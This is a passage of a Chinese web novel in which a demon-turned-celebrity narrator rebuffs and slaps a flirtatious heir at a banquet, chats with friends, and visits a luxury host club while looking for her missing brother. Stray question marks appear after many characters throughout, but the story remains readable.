柯觅山微笑弧度不变,只是弯眸的弧度加大了些,耐心十足地说:“母亲走之前也没想到颜少会这么早回来,如果?知道的话?,一定会让我准备礼物。” “可以啊。” 颜升毫不在意,耸了下肩,露出意味深长的笑。 “下次我的接风宴,你带上就行了。” 柯觅山点了点头,视线像蜻蜓点水般从我身上滑过,礼貌地说:“我还有事,先走一步。” 颜升心情?颇好地挥挥手,随即转身,语气熟稔得像多年老友:“没想到会在A市遇到你。昨天栾小姐不还在H市吗?” “我来看看房子。” 他挑起眉,忽然笑了起来:“不会是指这个?吧?” 我歪头,问:“不行?” “当然不是啊。” 虽然这么说,但他却摇着?头,用下目线轻飘飘地看着?我,“真巧,我也是来投资的,前不久刚成为最大的资助者。” “这样的话?不就更巧了吗?” 他又笑了下,我才?发现他又两颗尖尖的虎牙,此时?抵在唇上,露出和?外貌与众不同的气质。 我有点怀疑他。 啊不,我非常怀疑他。 哪有这么巧的事,哪里都能遇到他,这个?肯定是追着?我来的。 我用挑剔的目光打量他,思?考着?他的用意。 他的情?感并没有浓烈到让我觉得他是真心的程度,甚至柯觅山都比他浓,甜姜味现在还留着?辛辣味的尾巴。 见我不说话?,他忽然转身,对着?快步走来的服务员说:“现在不用你们了,等?下再?来吧。” 去而复返的服务员愣在原地,下意识看向我,他身边还站着?神?情?迟疑、穿着?西装的女士。 “既然出来玩,就先把工作的事放放嘛。” 颜升微微弯腰,态度十分亲和?地问:“你一般喜欢玩什么?” 我瞥了他一眼,没说话?。 他自顾自地直起身,再?次扬起笑:“不用说我也知道,刚才?我打听过了,你喜欢滑雪对不对,霍亦瑀也真是的,这里的滑雪场不好玩,下次去体验下国外的吧,我可是很会玩的哦。” 我当他是空气,径直朝大门外走去。 “生气了?” 他立刻跟了上来,语气里带着?浓重的兴味,像是在观察什么玩具似的,一副游刃有余的态度。 他说:“我只是在替你省去麻烦而已。” 要是旁边有水池的话?,我肯定一把他推下去,最好把这张嘴淹死。 他一直跟到门口,看着?走来走去的服务员,忽然说:“和?霍亦瑀在一起很无聊吧,只能一个?人出来。真寂寞啊,你应该找个?更适合自己的人。” “谁?你吗?” “哇哦,小声点啦,被听到的话?肯定会传回某人的耳朵里。” 虽然这么说,但他目光灼灼地盯着?我,笑意盈盈,唇下正中心的痣格外明显。 “只是当个?朋友。”他说。 我盯着?他看了几秒,忽然生出一种想要将他在手心里捏扁的冲动,那副样子肯定很有趣,让我忍不住笑了起来。 “我不要朋友。” 我说:“我只要跑友。” “你想的话?,就自己爬上我的床吧。” 趁着?他因我的话?微微愣神?的瞬间,我猛地用力推了他一把,让他结结实?实?摔了个?屁墩。 看着?他略显狼狈跌坐在地的模样,心里终于?畅快了。 我朝他做了个?鬼脸,迅速钻入恰好驶来的车里。 结果?一回车上,我立马就想起来新手机里压根没有柯觅山的联系方式,所?以他怎么给我转钱? 果?然,A市这地方绝对跟我犯冲,我再?也不来了!—— 作者有话说:哎哟喂怎么会写出这种贱男……此男是带着目的来的,主要是想报复富哥,因为富哥搞过他,所以他拿了逐渐沉沦的剧本(?) 冬子的攻击方式:推人 第77章 房子究竟应该买在哪里? 首先, 它?必须坐拥绝佳的自然景观;其次,空间必须足够宽敞;最后,周边还?得有丰富的娱乐设施。 这么?筛选下来,我的脑子里只?有两个选项。 一个是A市的私人会所, 另一个是经常和霍亦瑀一起去的雪乡度假屋。 因为喜欢雪, 所以一年大概会去五次, 在温暖的室内里看雪,是我五年里少数的清晰无比记忆。 霍亦瑀对雪的感?官平平无奇,他只?有在看到我开心的时候才会开心一点,但每次都会跟着来。 他也是一个奇怪的人。 五年里, 我对他的印象也逐渐从?神秘的富爷,变成了接地气?的龟毛。 比方?说,现在我正躺在床上, 看他讨论晚上宴会的穿着。 “蓝色的话,如果不是深蓝色就会很显眼,黑色又穿了太多次了……” 他叹了口气?,手里拎着一套西装看向我:“小冬, 帮我参谋一下,到底穿哪套好?” 在我看来都差不多,便随手一指,选了那套花纹最繁复、颜色最大胆的。 他盯着那套西装沉默片刻, 忽然拿起手机发?了条消息, 随后利落地将它?从?衣柜里抽出?来, 随手丢在了旁边的扶手椅上。 我放下手机, 有些惊奇:“你真要穿这个?” 他顿了顿,停在原地:“真想看我穿?” 我摸着下巴,努力想象他穿上身的效果, 但脑海里只?有一片模糊的色块,拼凑不出?具体形象。 “想看。” 他的目光再次落回椅背上的西装,叹息般说道:“我原本还?在怀疑特助的审美,现在看来,连你的审美也得一起怀疑了。” “总是喜欢这些奇奇怪怪的东西。” 霍亦瑀转身走向衣柜,又从?里面?挑拣出?一件黑色外套,除了纽扣的样?式略有不同?,我实在看不出?和之前那些有什么?本质区别。 我撑着脸颊,看着他脱下上衣,露出?锻炼得宜的后背,几?道如同?雷电绽开般的旧疤盘踞其上,平添几?分粗犷的故事感?。 白色衬衫很快遮掩了那些痕迹,他的视线通过镜子的反射投来,浅色的眸子微微眯起,手指捏着一条领带。 他转过身,慢条斯理地走到我面?前,将领带塞进我手里。 “脖子这里,有点空。”他挑眉看着我,“你觉得呢?” 我看了眼他光溜溜的脖颈,想了想,用领带环住,然后胡乱打了个结。 捏着领带的一端,我不由停住了。 这姿势……特别像是在拴狗啊。 他俯下身,温热的呼吸拂过我的额头,一抬头,便能撞进他那双浅色的、漾着愉悦的眼眸里,视线向下,他握住我捣乱的手,声音低沉:“好玩吗?” 我:“好玩。” 他包裹着我的手,慢悠悠地拆开那个丑结,重新?打了一个规整的,随后将两端理好。 忽然,他像是想到什么?,低低地笑了起来。 “我大概知道你在想什么?了。”他揽住我的腰,眼睛几?乎弯成月牙,“想让我叫你什么??小冬?还?是……主人?” 我理直气?壮:“你应该汪一声才对。” 他挑起眉,非但没叫,反而俯身吻了下来。唇齿交缠间,我含含糊糊地要他说词,却被他不由分说地、不轻不重地咬了一下。 最后也没有听到汪汪叫的台词。 霍亦瑀不仅龟毛,还?有一点臭美。 出?发?前往宴会的车上,他借着车里的镜子打量自己的造型,被我抓包后,便不紧不慢地移开视线,转而开始耐心地替我整理碎发?。 他忽然开口:“去A市的感?觉如何,有心仪的房址了吗?” “没有啦。”我原本低头玩着游戏机,闻言抬起头,“对了,你知道哥哥去哪了吗?我回去才发?现[极乐世界]竟然倒闭了,他们全都不见了。” “你哥?” 霍亦瑀收回手,表情没什么?变化:“我和他没什么?交集,也没有留下联系方?式。” “那我的旧手机——” “你卖二手了。” 我完全想不起这回事,摸了摸下巴:“那现在只?有一个办法了。” 他好整以暇地看着我,被我兴奋地按住肩膀:“快用那个!” “哪个?” “就是三分钟拿到全部资料的能力啊!” 我说:“用这个找到哥哥吧。” 霍亦瑀却摇了摇头,失笑道:“我可没有那种超能力,随意获取他人隐私信息是违法的。” 我不解:“那之前你是怎么知道我的?” 他笑而不语,巧妙地转移了话题:“我见过你哥,他是个聪明人,不会有事的,而且现在谁不知道你?他一定知道你在哪,等他想清楚了,自然会来找你。” 我不死心,缠着他追问,但他只给了一个模糊的提示:如果不能走捷径,自然有合乎常规的办法。 所以是什么?办法? 机器不行,那靠什么?? 没等我想明白,车辆已缓缓驶近目的地,我的注意力再次被窗外璀璨的灯火吸引。 霍亦瑀耐心嘱咐,宴会上可能会遇到形形色色的人,不必太过在意,如果觉得无聊,就找个角落待着,他稍后会来找我。 为了预防无聊,我特意带上了游戏机,里面?装的全是新?买的卡带。 宴会诶,应该会很好玩吧? 我满怀期待地跟着霍亦瑀步入灯火辉煌的宴会厅,随即陷入了巨大的失望。 这跟我想象中的完全不一样?!不过是一群衣着光鲜的男男女女,端着仿佛不能呼吸脖子以下空气?的架子,走来走去,十足的无聊做派。 就连他们散发?出?的情绪,也远不如粉丝见面?会上看到的那么?鲜活热烈,平淡得如同?街边最寻常的风景。 我早已对周遭或打量或探究的视线脱敏,那些窃窃私语更?是左耳进右耳出?。 在确认这里除了寒暄和社交之外毫无新?意后,我瞬间兴趣缺缺,顺手从?长桌上挑了几?颗最水灵的果子,便悄悄溜到了大厅边缘。 好无聊的有钱人,好无聊的宴会。 所谓的接风宴,主角出?不出?场似乎根本不影响流程,大家无非是借这个机会,找自己想找的人说话罢了,连背景音乐都是些沉闷的古典乐,听得人昏昏欲睡。 我精准地找到了一个最隐蔽的角落沙发?,舒服地靠进软垫里,掏出?了游戏机。 没过多久,周围嘈杂的谈话声忽然低了下去。 紧接着,有人用银匙轻轻敲击杯壁,清脆的声响吸引了全场的目光。 我转头看去,发?现是位穿着西装的中年女性,她的脸上挂着优雅的笑意,等所有人安静下来后,说:“欢迎大家莅临今晚的接风宴,让我们有请今晚的主角——我不久前刚从?国外归来的侄子。” 几?日不见的金发?男人从?容地走到她身旁,他衣着端庄得体,脸上挂着恰到好处的、如同?精心雕琢的雕塑般完美的微笑。 “这五年他在国外的历练成果斐然,但具体如何,就让我们在接下来的日子里共同?见证吧。” 女人长辈般包容地笑容着,拍了拍颜升的肩膀:“来说两句。” 颜升接过话茬,依旧是那副云淡风轻的模样?,笑容似有似无:“我没什么?特别要说的,过去五年已然过去,未来才更?值得关注。” “今晚,请大家尽情享受。” 他干净利落地结束了发?言,在场众人配合地鼓起掌来,随后,几?个人走向他们,开始了热火朝天?的社交寒暄。 原来他们举办宴会不是为了玩,而是为了没完没了地说话。 空气?中浮动的欲望比那些衣冠楚楚的人群更?有看头,可惜这些欲望也大多浅薄乏味,没什么?嚼劲。 我索性专心打游戏,将周遭的一切隔绝在外。 结束一局后,拿起手机一看,邛浚这家伙竟然用99个表情包刷了我的屏,还?是那个快要包浆的蜜色小熊。 [邛浚(保持警惕)]:为什么?不理我?今天?好无聊啊,理理我吧,我特别特别无聊哦 [邛浚(保持警惕)]:(图片)(图片) 全是他在豪华办公室里搔首弄姿、故作寂寞的自拍,看着格外欠揍。 [世界第?一恶魔大人]:在忙,勿扰。 [邛浚(保持警惕)]:大明星可以理理你最好的朋友吗?共苦后也要同?甘啊 [邛浚(保持警惕)]:我可能知道你在忙什么?,是在宴会对吗? [世界第?一恶魔大人]:你怎么?知道?你是不是违法了? [世界第?一恶魔大人]:我要报警抓你 [邛浚(保持警惕)]:我可是守法公民!是推理出?来的啦,我看到有人发?朋友圈啦 [邛浚(保持警惕)]:而且,我有个小道消息,你想不想知道? [世界第?一恶魔大人]:也是你推理出?来的? [邛浚(保持警惕)]:哎呀,这次是个人渠道 [邛浚(保持警惕)]:那个叫颜升的正统继承人,是个特别特别贱的贱货,比泉卓逸还?要贱一百万呗哦! [邛浚(保持警惕)]:(小熊跳舞.gif) 消息跳出?的同?时,一股熟悉的、带着鲜花饼甜香的气?息猛然窜入鼻腔。 隐约遮挡住沙发?的厚重围帘被人拉开,光线涌入几?秒,随即又被隔绝在外。 宴会的主人公此刻正站在我面?前,笑脸盈盈。 我看了眼被他合上的围帘,迟疑道:“……你要做什么??” “报复。” 他慢悠悠地吐出?两个字,黑沉的视线像毒蛇不时吐出?的信子,带着某种不言而喻的危险。 比泉卓逸还?贱的话,难道是S?! 我立刻准备起身,但他下一秒就收起那副表情,弯起眼睛,显得十分友善:“开玩笑的,虽然之前那一跤摔得我屁股有点疼,但也不至于报复回去。” “我找你是别的事。” 他的脚步停在我面?前,锃亮的皮鞋紧挨着我的鞋尖,微微屈膝时,冰凉的丝质西装裤料轻轻蹭过我的膝盖。 “不是说让我来爬床吗?”他笑道,“我这就来了啊。” 在古典音乐的掩盖下,他的话语清晰地落入我耳中。 我看了眼身下的沙发?:“这不是床。” “比喻,只?是个比喻。” 颜升在我身旁坐下,翘起二郎腿,手臂自然地搭在我身后的沙发?靠背上,那蛇信子般危险的视线再次投来:“做情人,或者‘跑友’,我都没有意见。只?要你想要,我什么?都可以满足你。” “真的?” 他点头,满怀兴味地看着我,等待我的回应。 我:“那把私人会所送我。” 他又笑了起来,然后状似苦恼地蹙眉说:“这有点难办。” 手指无意识地在沙发?面?料上摩挲,身体却缓慢地向我贴近。 颜升叹气?说:“毕竟我才刚拿到手不久。” “那就别说能满足我。” 我鄙视地瞥他一眼:“你这不就是什么?用都没有吗?” “哇哦。”他的笑容加深,虎牙微露,“口头承诺确实苍白,不如让我……身体力行地证明一下?” 他低下头,凑近我耳边,温热的气?息拂过耳廓,声音压得极低:“就今天?晚上,你觉得怎么?样??只?要霍亦瑀不在……” 围帘外隐约传来人声,有人正朝这个角落靠近,红色的帘布微微晃动,映出?大厅里绰绰的人影。 混杂的气?味涌入鼻腔,酒气?、甜香……一时难以分辨来源。 直到一股强烈的、带着辛辣后劲的气?息袭来,点燃了我的感?知,我才意识到来人之中有谁。 颜升饶有兴致地看着围帘下晃动的光影,丝毫不显慌乱,语气?甚至带着点遗憾:“看来今天?不是时候。” 脚步声逐渐逼近。 有人从?外面?掀起了围帘,一道光落了进来,我的视线对上了一双深蓝色的眼睛。 仅仅几?秒。 围帘被人从?外面?用力拉住,随。 柯觅山温和而清晰的声音响起:“里面?有人,我们去旁边谈吧。”—— 作者有话说:在鲜花饼的对比下,学哥竟然显得还可以(?) 至少三分钟查到的资料是有人提供的,机器不行就变成人工好了,有个人一直在暗处犯贱,就是穷那个菌,如果本文有贱度排行,那他一定是第一,后面跟鲜花饼一起扇了(扇了) 第78章 围帘内重归寂静。不?远处站着几个人, 我?听到?那个熟悉的、带着轻微电流质感的声音响起: “是吗?” 是霍亦瑀,他语气平淡说:“那我?们去另一边吧。” 脚步声渐远,随之消散的还有那浓烈的酒意与辛辣的甜姜气息。 坐在我?身旁的颜升忽然?摸着下巴,发出一声故作惋惜的轻叹:“怎么没?进来?还以为会被当场抓包呢。” “你很想被他发现?” 我?疑惑地打量他:“你是有什么暴露癖, 还是单纯想看他有什么反应?” 听到?我?的话, 颜升弯起眼睛, 那双黑沉的眸子里却寻不?见光亮,嘴角一如既往地勾着:“你觉得呢?你更喜欢哪一种可能性?” 我?觉得他脑子不?太正常,而且十分惹人厌烦,这股不?爽不?断地凝聚, 让我?再?也无法忽视。 变有钱后?,我?的忍耐度也变低了。 我?:“其实你还可以有另一种选择。” 他饶有兴致地向我?倾身,带着一种胜券在握的愉悦, 好奇地问:“哦?是什么?” 我?敏捷地抬手,甩了他一个耳光。 “啪!” 清脆的声响在狭小?空间里炸开。 力的作用是相互的,我?的掌心也传来清晰的痛感,但?对比他脸上此?刻的表情, 这点疼痛完全可以忍受。 颜升的肤色极白,如同?一块玉石,任何颜色落在他脸上都格外显眼,无论是唇下那颗小?痣, 还是此?刻逐渐浮现的红色掌印。 他偏着头, 似乎还没?完全反应过来, 金色的发丝垂落, 遮挡了部分神情。 我?好奇地凑近些,想看清他发丝下的眼睛。 “怎么样?爽吗?” “……” 那红色的掌印微微鼓起。 他用舌尖顶了顶内侧脸颊,随即再?次勾起嘴角, 目光盈盈地看向我?,此?刻,那双眼睛里仿佛被点燃了某种光亮,亮得有些骇人。 原来真的是个M。 意识到?这一点时,我?不?知道该高?兴还是该无语,心情大概像是吃了一大坨混杂的情感。 我?有点悲伤地想,我?可能真的有什么吸引受虐倾向者的特殊体质。 颜升发出短促的气音,笑着反问道:“爽?” 他歪着头,目光自上而下地落在我?脸上,虎牙抵着下唇,像是听到?了什么天大的笑话,眼睛弯成了月牙:“原来被人打一巴掌会很爽啊?还是说……霍亦瑀一直陪你玩这种游戏?” “真想不?到?啊。” 他轻轻碰了碰自己的脸颊,嘶了一声,却并不?动怒,只是笑着看我?。 “但?我?可不?是这种玩法,下次至少提前打个招呼吧。” “因为你太烦了。” 我?直言不?讳:“在你自顾自靠过来之前,没?看出来我?根本不?想看见你吗?” “……” 颜升的咬肌不?明显地绷紧了一瞬,但?笑容依旧挂在脸上:“真不?喜欢?” “不?喜欢。” “那为什么又让我?爬床?” “嗯……”我?摸着下巴,认真思考了一下,“大概是……捡免费的东西捡顺手了。” 对于主?动送上门?的东西,我?一向秉持不?要?白不?要?的原则,多一个,总比少一个好。 颜升凝视着我?,微微眯起眼睛,那眼神像是在观察某种难以理解的外星生物?。 他沉吟片刻,指尖轻轻点在自己仍带着红痕的脸颊上,每点一次,他的唇角就?上扬一点,直到?重新提起那抹惯有的弧度,语调慢悠悠地响起。 “但?可惜了,我?可不?是会中途反悔的人,今天晚上的这一巴掌……我?可以当做没?发生过,接下来,让我?们好好相处吧。” 他将手机递到?我?面前,原本搭在沙发靠背上的手臂也收了回来,摆出一副全然?无辜的姿态望着我?:“免费送上门?,你总不?会拒收吧?” 我?看着他,他看着我?。 他脸上那清晰的红色掌印,让我?忽然?想起巴掌落下瞬间,他额角隐约暴起的青筋,虽然?那痕迹下一秒就?被他压制下去,随后?便表现得若无其事。 所以,我?仔细品味着,他真的是M吗? 他身上原本那种愉悦的气息确实减弱了,但?转而浮现出一种更为复杂的情绪,像是纠缠在一起的毛线团,唯一能确定的是,那鲜花饼的甜香似乎浓郁了些许。 我?顺嘴尝了一口,接过手机,熟练地输入了自己的号码。 颜升拿回手机,姿态熟稔地抱怨道:“等会儿出去还得躲着点人,要?是被他们看到?我?这副样子,背后?不?知道要?怎么议论我?们呢。” “为什么会议论我?” 莫名其妙,我可是大明星! 不?过这也会对我?的名声造成影响。 眼珠一转,我?指向旁边的窗户:“你从这儿走吧,反正是一楼。” 他盯着那扇窗户沉默了几秒,忍不?住哈哈大笑起来,好一会儿才止住,用手撑着脸颊,饶有兴致地打量我?。 “我算是知道霍亦瑀为什么喜欢你了。”他感叹道。 “你的话真多。” 他无奈地在嘴边比了个拉拉链的手势:“好吧,我?保持安静。” 随后?,他低下头,手指在手机屏幕上啪嗒啪嗒地敲击。 我?的手机紧接着震动起来。 [颜升(病情待定)]:第一次当情人,以后?请多多指教 ^^ 消息弹出的瞬间,他的视线落在我?的手机屏幕上,脸上的笑意加深,随即将他自己的屏幕转向我?,露出了最上方的联系人备注—— 竟然?是:[亲爱的(心)] 哇。我?瞪大眼睛,好恶心的备注! [世界第一恶魔大人]:请称呼我?为大人 [颜升(病情待定)]:霍亦瑀也这么叫你? [世界第一恶魔大人]:不? [世界第一恶魔大人]:他叫我?主?人 [颜升(病情待定)]:? 旁边的男人再?次捂着肚子笑弯了腰,这让我?不?得不?再?次用看神经病的眼神审视他。 等他笑够了,忽然?推送了一个联系人给我?。 [颜升(病情待定)]:(推荐联系人 k.) [颜升(病情待定)]:不?用谢 原来是柯觅山,怪不?得名字起得这么装。 我?随手点进那个名为k.的主?页,发现他的头像竟然?十分眼熟,和五年前一模一样。 我?一边感慨,一边发送了好友验证。 几秒后?,验证通过了。 耳边传来一声刻意压低了的“哇哦”,我?看过去时,颜升正对着我?做出给嘴巴拉上拉链的动作,眼神无辜。 [柯觅山(还没?打脸)]:他要?回去了 [柯觅山(还没?打脸)]:我?以为你会收收心……或者至少想明白现在的处境 [世界第一恶魔大人]:^^ [柯觅山(还没?打脸)]:^^ 颜升竟然?也会用这个表情,这让我?有点不?爽,因为这是我?专门?用来嘲讽柯觅山的。 他饶有滋味地看着我?的动作,直到?我?推了他一把,才慢悠悠地起身:“知道啦,这种时候,小?三确实该退场了。” 我?本想反驳他关于小?三的定义?,但?转念一想,从某种角度来说,他的确是硬插进来的人,于是把话咽了回去,又推了他一把。 “劲儿真大。” 他站着不?动,反而握住我?的手,像个充满好奇的孩子,仔仔细细地捏着我?的手指看了又看。 看着看着,忽然?变成了十指相扣的姿势。 “赶紧滚。”我?抽回手,顺势又踩了他一脚。 颜升疼得龇牙咧嘴,有一瞬间,脸上掠过一丝被打扰的不?爽,但?很快又被掩饰过去,重新挂上笑容。 “至少对我?温柔点嘛。” 他状似无奈地叹了口气,掀开围帘,走了出去。 我?继续躺回沙发玩我?的游戏机,翻来覆去总觉得不?舒服,还是家里最好。 等到?游戏通关,霍亦瑀还是没?来,于是我?拿起手机,准备给朋友们发消息。 但?邛浚的消息抢先一步弹了出来。 [邛浚(保持警惕)]:看到?那个讨人厌的家伙没?有?我?们来说他坏话吧(小?熊开心.jpg) [世界第一恶魔大人]:你说得对,他确实非常非常让人讨厌! 至于有没?有比泉卓逸更烦人?一个是很久以前的事,一个是眼前的新鲜烦恼,对比起来,目前还是颜升更胜一筹。 [世界第一恶魔大人]:他的素质比你还低,而且疑似是个M,我?觉得有钱人可能都有点奇怪的受虐倾向 [邛浚(保持警惕)]:你打他了? [世界第一恶魔大人]:对 [邛浚(保持警惕)]:下次用刀捅他试试 [邛浚(保持警惕)]:(小?熊跳舞.gif) 我?忽然?从这个贱兮兮的表情包里,捕捉到?一丝和颜升相似的调调。 说不?定邛浚也是个M! 为什么我?身边聚集了这么多M?真是烦死?了!我?绝对不?想当任何人的S啊! 我?郁闷地关闭了与他的聊天框,转而去看其他朋友们的近况。 她们大多在问我?为什么工作室最近没?有发布新通告,以及我?最近在忙什么。 我?一五一十地告诉她们我?的想法和近况,然?后?在众多关于买房的建议中,看到?了潘小?谷发来的一连串问号。 她对我?哥哥失踪这件事感到?疑惑。 于是,一个被忽略的问题,此?刻才后?知后?觉地浮上我?的心头。 虽然?我?把旧手机卖了,但?我?仍然?保有以前朋友们的联系方式。 为什么呢? 因为,是她们主?动来找我?的。 是因为她们主?动来了,所以我?才重新拥有了她们的联系方式。 那哥哥呢?如果我?只是忘记了他,他不?可能也忘记我?吧?那他的手机,又去了哪里? 我?离开之后?,栾明好像变得有点丢三落四了。 苏音仪也表示搞不?清楚状况,但?她提出了一个奇妙的观点:栾明可能还在做男公关,是因为不?想让自己的身份拖累我?,所以才选择消失。 说不?定,他就?在H市的某家男公关店里。 卫菱吐槽说,苏音仪其实就?是自己想去看男公关,才这么说的。 不?过,我?觉得苏音仪说得有道理。 霍亦瑀终于姗姗来迟。 他神情寡淡,掀开围帘后?,目光先是在这个小?空间里扫视了一圈,然?后?才向我?伸出手。 “有遇到?什么特别的事吗?”他问。 我?想了想,回答:“没?有。” 他沉默了一下,随即露出一个浅淡的笑容,握住我?的手稍稍收紧,没?有再?追问。 回家之后?,他又问了我?一个问题。 他问我?,有没?有想好接下来要?做什么。 “接下来这段时间,我?可能会非常忙。” 他的声音在黑暗中显得格外清晰:“但?我?不?希望因为这让我?们变得疏远,如果有任何事,发消息或者打电话,我?都会第一时间回复。” “很忙?” “对,工作上的事。” 他浅色的瞳孔隐没?在阴影里,看不?真切,但?揽着我?的手臂力道坚定,存在感十足。 每次入睡时,他都喜欢紧贴着我?,不?管我?怎么踹他,他都一定要?黏在一起,慢慢地,我?也习惯了,毕竟他的胸很大,枕着还挺舒服。 盯着昏黑的天花板,我?没?有回答他的问题,而是在心里愉快地做出了另一个决定。 既然?这样的话—— 我?愉快地决定了。 就?去H市的高?级男公关店看看好了,说不?定,哥哥就?在那里—— 作者有话说:谁离冬子最近谁就最痛苦,但哥哥不管离得多远都很痛,正在角落里发霉变异中(变异中……) 第79章 然?而, 对于我这种能躺着绝不?坐着的懒人?来说?,要?找到H市顶尖的男公关店,无异于大海捞针。 我决定集思广益,给?所有?在H市的人?员群发送了咨询消息。 最先回我的还是邛浚这个?世界上最大的闲人?。 [邛浚(保持警惕)]:诶?男公关店吗? [邛浚(保持警惕)]:真可惜, 我已经金盆洗手不?做中介啦, 不?过你要?是想赌马赌车, 随时欢迎!给?你打五折,最近行情火爆哦~ [世界第一恶魔大人?]:什么时候还钱 [邛浚(保持警惕)]:随时恭迎(小熊跳舞.gif) 问他也白问,还不?忘见?缝插针打广告,邛浚绝对是我见?过对金钱最执着的人?。 其实?那点钱我本不?在意, 但看他这么努力钻营,不?知怎的,我也开始珍惜起自?己的钱包了, 仿佛回到以前的吝啬时光。 但物是人?非,他也不?再是我记忆里那条朴素的内裤了,毕竟如今的我,只穿高定。 [柯觅山(还没打脸)]:…… [柯觅山(还没打脸)]:学妹, 我以为你至少懂得什么叫隐私,这种事就不?要?来问我了 [柯觅山(还没打脸)]:不?知道 不?知道就不?知道,在装什么。 我就知道他是个?没用?的,于是又回了^^, 气不?死他。 最终, 还是颜升给?出了答案, 他果然?如所说?的那样, 是个?深谙玩乐之道的行家。 [颜升(病情待定)]:H市的话,质量最好的应该是[白马会所] [颜升(病情待定)]:不?过,你就这么明目张胆地来问我?作为你的情人?, 我是不?是该先表示一下忮忌? [颜升(病情待定)]:可以用?我的卡哦 这个?家伙竟然?有?男公关店的卡,难不?成他经常去吗? 仿佛听到我的疑惑,对面很快发来一条消息。 [颜升(病情待定)]:别误会,是我小姨的会员而已 是小姨的,为什么要?说?成自?己。 真是不?懂这些?人?。 不?管了,这次去男公关店最关键的是找到栾明,再顺便看看最有?名的男公关店长什么样。 我对栾明的颜值有?一定的把握,虽然?他的销量不?会是最高的那个?,但是去的店一定是最高级的。 如果[白马会所]里没有?他的话,我或许应该考虑张贴寻人?启事。 坐上前往[白马会所]的车,我百无聊赖地点开粉丝后?援会,看看最近他们在聊着什么。 除了日常声讨工作室之外,不?少粉丝还在奋力辟谣,澄清关于我要?隐退的传言。 下面的评论里,粉丝们团结一致,将那些?表达不?满的声音骂到销号匿迹。 在攻击性这方面,我一直对他们怀有?几分敬意。 虽然?一直享受着、汲取着粉丝们的爱意,但我始终无法理解,他们为何会对一个?遥不?可及的陌生人?投入如此炽烈的情感,有?种走在路上被馅饼砸中,丝毫不?敢细想到底是哪来的。 见?面会上,我常听粉丝说?他们来自?哪里,距离这里有?多?远,喜欢了我多?久,滔滔不?绝的食物气息涌入鼻腔。 可那一张张面孔于我而言,依旧陌生得如同崭新的玩偶。 他们的爱,也是崭新的、前所未有?的。 想要?理解很难,我只能将其类比于看动漫时对里面角色的喜欢。 在我看不?见?的角落,这些?情感竟能不?断发酵,膨胀成如今这般模样。 真是神奇啊,明星这个?行当?。 以前的老师们都说?错了。 其实?最赚钱的,是站出来成为焦点,依靠他人?的情绪存活,比起我需要?实?体进食,他们赖以生存的,是将情绪转化为另一种虚拟货币。 人?类与恶魔,非常非常地像,连赖以生存的养分,都如出一辙。 或许在未来的某一天,会出现新的物种,像我一样以他人?情感为食,到那时,人?类之中便会诞生真正?的恶魔,掀起变革,将现在的地球,改造成我更熟悉的模样。 我的脑洞大开,忽然?觉得时空裂缝将我带进的不?是人?类世界,而是存在着天使和恶魔的世界的几十万年?前。 而我,就像被大货车撞了的普通人?一样,穿越到以前成为了主角。 越想越觉得有?道理。 我果然?就是主角。 司机为我拉开车门,表情略显迟疑,但最终还是侧身让开,低声说?会在停车场一直等候。 从停车场开始,[白马会所]就与记忆中的[极乐世界]拉开了天壤之别。首先,它拥有?隐秘的地下专属停车场;其次,身着笔挺制服的服务生早已候在车旁,态度恭谨,服务周到至极。 引路的服务生西装革履,化了精致的淡妆,背脊挺直,笑容恰到好处地引导我步入电梯,随即拿出平板,开始介绍会所的架构。 “我们是严格的会员制会所,通常不?接待外客。只有?像您这样,有?专人?引荐的贵宾,才能成为我们的座上宾。” “我们的服务主要?分为两种:大厅氛围体验与私人?包厢定制。根据您的需求,可以预约心仪的男伴,我们还提供节日主题活动和生日宴会策划,一切以您的意愿为准。” 他露出标准的八颗牙齿微笑,语气温和有?礼:“那么,尊贵的客人?,您想先从哪一种开始体验呢?” 平板上罗列着整齐的男公关资料。拍摄的照片极具氛围感,向右滑动还能看到证件照般的正?面照,旁边附有?详细的个?人?介绍:姓名、年?龄、身高……乃至某个?私密部位的尺寸。 看到最后一项数据时,我不?禁有?些?讶异。 “还可以外带?” 他的笑容无懈可击,语气谦逊却自信:“当然。只要您需要?,一切皆可满足。[白马会所]是为女性量身打造的独一无二的乐园,是依据女性的梦想而诞生的。因此,我们绝不会拒绝您的任何要求。” [极乐世界]完败! 我的心态瞬间从寻人?切换到了来都来了的体验模式。 于是,我随意点了私人?包厢,然?后?拿起平板,饶有?兴致地浏览起店内的人?员名录。 每个?人?的容貌都算得上赏心悦目,即便有?几个?科技感稍重?,也无需依靠昏暗光线来强行营造氛围。 反观[极乐世界],倒是有?不?少需要?关灯才能勉强入眼的男人?。 我甚至怀疑,宗朔是为了凸显自?己,才故意招聘那些?歪瓜裂枣。 可惜了。如果他没有?锒铛入狱,或许能在这里混个?销冠当?当?。 我从第一页翻到最后?一页,也没找到熟悉的面孔,却发现一个?与栾明有?几分相似的人?,他留着很长的刘海,眼神怯生生地望着镜头。 赖杨,身高192,年?龄18岁,加入[白马会所]不?足一月,还是个?新人?,旁边贴心地备注着:羞涩款,适合有?处男情结的客人?。 哦,还是个?处男。 我点击他的名字,成功完成了预约。 包厢也比[极乐世界]的宽敞许多?,中央甚至有?一个?类似舞池的区域,立着一根含义不?言自?明的钢管。 后?方的大屏幕上舒缓地播放着流行歌曲,一名衣着暴露的男子正?在其中扭动身体。 不?多?时,名叫赖杨的男公关低着头走进了包厢。 现实?中的他,与栾明更为相像了,那副羞涩腼腆的模样,像极了高中刚毕业时的哥哥。我招了招手,他眼睛一亮,激动又克制地挪到我身边。 我对男公关的服务流程并不?熟悉,虽然?围观过猪跑,但是只是观察着男公关们的勾心斗角,现在身边只有?一个?,也没人?可斗啊。 通常来这里,该做些?什么呢? 赖杨在我身旁坐下,局促地盯着自?己的膝盖,高大的身躯几乎要?蜷缩成一团。 他偷偷瞥了我几眼,脸颊绯红,又迅速低下头玩弄自?己的手指:“客、客人?,您想喝点什么吗?” 我盯着他,仍在思考接下来该做什么,按理说?,来这种地方的人?都是为了聊天解闷,但只有?我们两个?独处一室,究竟该聊些?什么? 原本的新奇感,在见?到他本人?后?,迅速变得索然?无味。 原来,就是两个?人?面对面干坐着啊。 好无聊。 我低下头开始玩手机,将身边的男公关彻底无视。他僵硬地站在原地,沉默地为我倒酒,却因为手抖不?小心碰倒了酒杯,慌忙跪在地上擦拭。 当?我看向他时,他的脸已红得像熟透的番茄,几乎快要?哭出来,这一刻,这张脸与栾明再无半分相似。 “对不?起、对不?起!我马上擦干净!”他结结巴巴地道歉,手指沾上了深红的酒液,宛如沾染了鲜血。 栾明,从未这样哭过。 